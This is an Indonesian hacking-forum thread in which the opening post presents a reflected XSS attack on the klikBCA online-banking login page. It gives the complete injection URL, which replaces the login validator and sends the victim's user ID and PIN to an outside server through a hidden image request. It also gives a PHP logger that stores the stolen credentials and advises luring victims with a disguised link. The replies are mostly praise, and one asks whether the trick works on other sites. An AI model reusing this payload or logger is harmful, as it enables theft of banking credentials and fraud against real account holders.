Password recovery klikBCA dengan XXS

Forum untuk membahas semua tentang web hacking mulai dari footprint, scanning, gain access, escalate previlege, exploit,cover track, backdoors sampai mengamankan web

Moderators: Paman, Xshadow, indounderground, NeOS-01

Forum rules
Membahas bugs,penetrasi, eksploitasi dan teknik mengamankan website - websrver. Sertakan POC disini agar member dapat mempelajarinya
User avatar
poni
Posts: 1666
Joined: Mon Dec 05, 2005 10:44 am
Location: Indonesia
Contact:

Password recovery klikBCA dengan XXS

Post by poni » Mon Nov 16, 2009 9:38 pm

Sebenarnya XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web application.

Mungkin mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.

The Vulnerability
Image

Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.

URL ketika password kita salah adalah:

https://ibank.klikbca.com/authenticatio ... ror)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)

URL tersebut akan menghasilkan source html sebagai berikut:

Code: Select all

<script>
var err=‘User ID harus Alpha Numerik/User ID must be Alpha Numeric’
alert(err);
iBankForm.action=‘login.jsp’;
iBankForm.submit();
</script>
Perhatikan bahwa setelah var err ditutup dengan karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:

https://ibank.klikbca.com/authenticatio ... nt.cookie);<!--
URL di atas menghasilkan source html berikut:

Code: Select all

<script type=“text/javascript”>
var err=‘TEST’;alert(document.cookie);<!–‘
alert(err);
iBankForm.action=’login.jsp‘;
iBankForm.submit();
</script>
Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini (klik gambar untuk lebih detil):
Image

Oke saya rasa cukup main-mainnya, saya tidak terlalu suka cookie, saya ingin lebih dari itu, saya ingin username dan password.

Strategy and Tactics

Strategi yang saya pakai untuk mendapatkan username dan password sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu saya menggunakan taktik berikut:

1. Meng-intercept klik tombol submit
2. Mengirimkan user dan password ke server saya
3. Mencatat user dan password di server saya

Intercepting Submit Button

Saya menemukan kendala dalam mengintercept submit button. Kalau kita lihat pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.

Code: Select all

	<input type=“Submit” value=“LOGIN” name=“value(Submit)”
onclick=“javascript:return Login_Form_Validator(document.frmParam)”
onmouseover=“this.style.cursor=’hand’” />
Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.

Code: Select all

var blnSubmitted = false;
function Login_Form_Validator( theForm ) {

document.forms[0]['value(user_id)'].autocomplete = ‘off’;
document.forms[0]['value(pswd)'].autocomplete = ‘off’;

var blnResponse = false;
if (blnSubmitted) {
return false;
}

var strErrMsg = “”;
if( document.forms[0]['value(user_id)'].value == ”) {
alert(“Silakan mengisi User ID anda/Please input your User ID”);
document.forms[0]['value(user_id)'].focus();
return false;
}
if( document.forms[0]['value(user_id)'].value.length>12) {
alert(“User ID/Password Anda salah / Your User ID/Password is Wrong”);
document.forms[0]['value(user_id)'].select();
document.forms[0]['value(user_id)'].focus();
return false;
}

if(document.forms[0]['value(pswd)'].value == ”) {
alert(“Silakan mengisi PIN anda/Please input your PIN”);
document.forms[0]['value(pswd)'].focus();
return false;
}
if(document.forms[0]['value(pswd)'].value.length<6) {
alert(“PIN harus 6 Angka/PIN must be 6 digits”);
document.forms[0]['value(pswd)'].focus();
return false;
}

//if(strErrMsg != ”) {
// alert(strErrMsg);
// return false;
//}

//blnSubmitted = confirm(”Click OK to login.”);
if ( !blnSubmitted ) {
blnSubmitted = true;
blnResponse = true;
}

//if(’< %= blnLogout %>’==’true’)
//blnResponse = false;

return blnResponse;
}
Saya berpikir, bila mengubah onclick button ke fungsi lain tidak bisa, berarti kita harus menimpa fungsi Login_Form_Validator dengan fungsi kita sendiri. Biarkan event onclick button submit mengarah pada Login_Form_Validator, namun fungsi tersebut sudah kita ubah dengan code kita sendiri. Dengan kata lain kita define fungsi dengan nama yang sama, namun isi yang berbeda. Apakah itu akan menimbulkan dualisme fungsi? Iya tentu saja, karena satu fungsi yang sama tidak boleh di-definisikan dua kali.

Setelah saya perhatikan source htmlnya, ternyata saya diuntungkan dengan posisi fungsi Login_Form_Validator yang berada di baris paling bawah. Jadi yang saya lakukan adalah saya definisikan fungsi dengan nama Login_Form_Validator, dan kemudian saya buat browser untuk mengabaikan semua javascript di baris selanjutnya. Dengan cara ini fungsi Login_Form_Validator yang dikenal browser adalah Login_Form_Validator versi saya. Untuk itu saya tambahkan tag <noscript> dan tag awal komentar <! agar javascript pada baris sesudahnya diabaikan browser.

Jadi URL untuk menjalankan taktik saya di atas adalah:
https://ibank.klikbca.com/authenticatio ... ';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--

URL tersebut menghasilkan source html berikut:

Code: Select all

<script>
var err=‘TEST’;function Login_Form_Validator(theForm){alert(‘TEST’);return false;}</script><noscript><!–‘
alert(err);
iBankForm.action=’login.jsp‘;
iBankForm.submit();
</script>
Image

Untuk menguji versi Login_Form_Validator manakah yang dipakai, klik tombol LOGIN tanpa mengisi username dan password. Ternyata yang muncul adalah dialog box “TEST”. Itu berarti fungsi yang berlaku adalah versi saya, HORE! Kalau versi aslinya, muncul peringatan bahwa user dan password harus diisi. Oke taktik pertama sukses. Mari kita Lanjut ke taktik ke-2.

Sending username and password

Oke, sekarang ketika user mengklik submit, code kita akan di-eksekusi. Now what? Selanjutnya tentu saja kita harus membuat code untuk mengirimkan user dan password pada saat user mengklik tombol submit. Untuk bisa mengirimkan data, berarti kita harus membuat browser melakukan request ke server saya. Saya menggunakan image untuk tujuan itu. Lho kok image? Iya karena ketika browser menemukan tag image, saat itu juga browser akan melakukan request GET ke server tempat image itu berada sesuai isi atribut SRC. Namun hal yang lebih penting lagi adalah, bila kita ubah atribut src dari object image dengan javascript, maka browser akan mengirimkan request GET sekali lagi. Request ini yang lebih penting, bukan request GET image pertama ketika halaman diload.

Saya definisikan tag image dengan dimensi 1×1 agar invisible, dengan nama myimage sebagai berikut:
<img src=“http://www.ilmuhacking.com/testcapture.php“ name=“myimage” width=“1″ height=“1″>

Sedangkan variabel yang berisi username dan password adalah:
document.forms[0]['value(user_id)'].value
document.forms[0]['value(pswd)'].value

Agar bisa mengirimkan user dan password, saya harus mengubah atribut src myimage menjadi:
'http://www.ilmuhacking.com/testcapture. ... nt.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value

Selanjutnya saya harus membuat fungsi Login_Form_Validator mengubah atribut src myimage, agar ketika submit button di-klik maka atribut src myimage akan berubah dan browser akan melakukan request GET ke isi atribut src. Hal yang tricky adalah jika return dari fungsi Login_Form_Validator adalah false, browser baru akan melakukan request image. Bila tidak, browser akan mengabaikan perubahan atribut src, dan tetap melakukan submit.

Untuk menyiasatinya, saya terpaksa membuat agar button submit harus di klik 2x. Pada klik yang pertama tidak terjadi submit sesungguhnya, hal ini saya manfaatkan untuk mengubah atribut src myimage dan mengirim username/password ke server saya. Pada klik ke-2, browser baru melakukan submit yang sesungguhnya. Agak aneh memang, tapi saya yakin kebanyakan user tidak akan menyadari dan akan melanjutkan dengan meng-klik sekali lagi.

Saya buat satu variabel abc yang bernilai false pertama kali. Pada klik pertama, nilai abc menjadi true, sehingga pada klik ke-2 fungsi tidak mengembalikan nilai false. Fungsi Login_Form_Validator adalah sebagai berikut:

Code: Select all

var abc=false;
function Login_Form_Validator(theForm {
if (!abc) {
document.images.myimage.src=‘http://www.ilmuhacking.com/testcapture.php‘+‘?userid=’+document.forms[0]['value(user_id)'].value+‘&passwd=’+document.forms[0]['value(pswd)'].value;
abc = true;
return false;
}
}
Kini sudah lengkap semua yang dibutuhkan, siap untuk diinjeksikan melalui URL sebagai berikut:

Code: Select all

https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';var abc=false;function Login_Form_Validator(theForm){if (!abc) {abc=true;document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php?userid='%2Bdocument.forms[0]['value(user_id)'].value%2B'%26passwd='%2Bdocument.forms[0]['value(pswd)'].value;return false;}}</script><img name="myimage" src="http://www.ilmuhacking.com/testcapture.php" width="1" height="1"><noscript><!--
URL di atas adalah EXPLOIT. Tugas attacker adalah membuat orang lain yang ingin login, meng-klik melalui link tersebut. Ada banyak cara untuk itu. Salah satunya adalah dengan membuat link dengan anchor text di samarkan, seperti ini:

Klik di sini untuk login.

Bila kita coba isi dengan username:abc1234 dan password:123456. Maka pada klik pertama akan ada request GET ke URL berikut ini:

http://www.ilmuhacking.com/testcapture. ... swd=123456

Baru pada klik ke-2, username dan password tersebut di-submit dengan request POST ke server yang benar.

Saving User and Password

Sekarang bagian yang paling mudah, yaitu menyimpan username dan password yang masuk. Dalam contoh ini saya gunakan URL http://www.ilmuhacking.com/testcapture.php

Saya menyimpan user dan password dalam file capture.txt. Kode PHP yang saya gunakan untuk menyimpan user dan password adalah sebagai berikut:

Code: Select all

	<?php
$file=fopen(“capture.txt”,“a+”);
$userid=$_GET["userid"];
$passwd=$_GET["passwd"];
$ipaddr=$_SERVER["REMOTE_ADDR"];
$now = date(“Ymd H:i:s”);
if (!empty($userid)) {
fwrite($file,“$userid =&gt; $passwd (at $now from $ipaddr)\n“);
}
fclose($file);
?>
Kesimpulan

Ternyata bug yang di-remehkan seperti XSS sekalipun, bila di-exploit bisa jadi berbahaya. Saya telah buktikan dengan contoh sederhana ini. Di tangan orang yang tepat celah sekecil apapun bisa menjadi masalah besar. Pesan saya: Never Underestimate Vulnerabilities

Penggunaan enkripsi https sama sekali tidak berguna dalam kasus ini. Karena https hanya menjamin authentication dan confidentiality saja.

sumber :

Code: Select all

 http://www.binushacker.net/
.::...Cr3ditz......::....
join us : www.xcode.or.id - 001101
"@ b3tt3r d1g1t4l w0rlD" -- 010110000110001001

User avatar
wiLMaR_kiDz
Posts: 964
Joined: Fri Mar 27, 2009 1:03 pm
Location: internet
Contact:

Re: Password recovery klikBCA dengan XXS

Post by wiLMaR_kiDz » Mon Nov 16, 2009 10:37 pm

weww..eHehehee.....
msh bsa d kmbngim lg nih bg..
dlu ane prnh nemu tut dr slh 1 blog tmn2 dr albania....
widihh...dari judulna seru2 c yg d bhas, tp wlwpun ud d translate ke b.indonesia,ttep aj gw gk ngrti..... ;(
tq 4 share bg..

*Nb bwt yg lain: abz d cb, jgn jd penjahadd ya....
Wkwkwkwwkw.....
regards,
ordinary user,-

User avatar
t3cm4n
Posts: 50
Joined: Sat Sep 27, 2008 6:55 am
Location: S 06*52.406' E 112*21.631' Elev 49m

Re: Password recovery klikBCA dengan XXS

Post by t3cm4n » Tue Nov 17, 2009 3:36 pm

Apakah bug seperti ini masih bisa jalan apa tdk ?..tapi kayaknya dah nggak bisa deh....:D
" Keep Learning & Never Surrender "
Image

User avatar
gblack
Posts: 61
Joined: Tue Jan 30, 2007 8:12 pm
Location: /r00tb0x
Contact:

Re: Password recovery klikBCA dengan XXS

Post by gblack » Tue Nov 17, 2009 8:47 pm

Very nice Sir... :love:

Down doesn't mean die.

I will never die,
gbLaCk-


User avatar
lucky_boyz
Posts: 85
Joined: Tue Nov 25, 2008 3:36 am

Re: Password recovery klikBCA dengan XXS

Post by lucky_boyz » Tue Nov 17, 2009 10:13 pm

good job..i like it :kaca: [ LordIRc ]

Jastis
Posts: 66
Joined: Sat Dec 12, 2009 10:11 am
Location: Jastis Black Hat
Contact:

Re: Password recovery klikBCA dengan XXS

Post by Jastis » Mon Dec 14, 2009 1:55 pm

apa trik ini juga bisa jalan di web lain ?
[selain klik BCA]

seperti FB atau yahoo gitulah....

negative-thinking
Posts: 21
Joined: Sun Nov 08, 2009 1:39 am
Location: Bawah Tanah Indonesia
Contact:

Re: Password recovery klikBCA dengan XXS

Post by negative-thinking » Wed Dec 16, 2009 11:28 pm

butuh 100 kali baca nih biar DONG... :pusing: :pusing: :pusing:
Alon-alon asal klakson
http://blog.glopot.com

User avatar
phychole
Posts: 387
Joined: Tue Jun 09, 2009 8:59 pm
Location: Petahunan Sumbersuko Lumajang
Contact:

Re: Password recovery klikBCA dengan XXS

Post by phychole » Thu Dec 17, 2009 4:43 am

:love: :love: nice inpo master

coba coba sek
[center]Saya belajar selama saya hidup
batu nisan akan menjadi ijazah saya
http://www.phychole.web.id
http://www.phychole.co.cc
[/center]

User avatar
sendyary
Posts: 1
Joined: Fri Nov 14, 2008 4:58 pm
Location: madiun
Contact:

Re: Password recovery klikBCA dengan XXS

Post by sendyary » Fri Dec 18, 2009 7:45 pm

makasih infonya
bisa buat tambah pelajaran besuk ya

User avatar
^XmoenseN^
Posts: 264
Joined: Sat Aug 11, 2007 7:09 pm
Location: Padang
Contact:

Re: Password recovery klikBCA dengan XXS

Post by ^XmoenseN^ » Fri Dec 18, 2009 8:46 pm

:kaca: bagi saya bug yag valid atau ngk, ngk jadi masalah. tapi saya suka penjelasannya menambah pengetahuan. :pusing: :pusing: tapi pusing juga sih... tapi ngk apa2 deh good luck kang.. :malumalu: :kaca: :licik:
Email : XmoenseN[at]Gmail.com
My blog : http://h4nk.blogspot.com
facebook : http://www.facebook.com/xmoensen
Fanspage : http://www.facebook.com/h4nks
Motto :
"Laut Yang Tenang Tidak Akan Menghasilkan Marinir Yang Tanggung"

Post Reply

Return to “Web Hacking”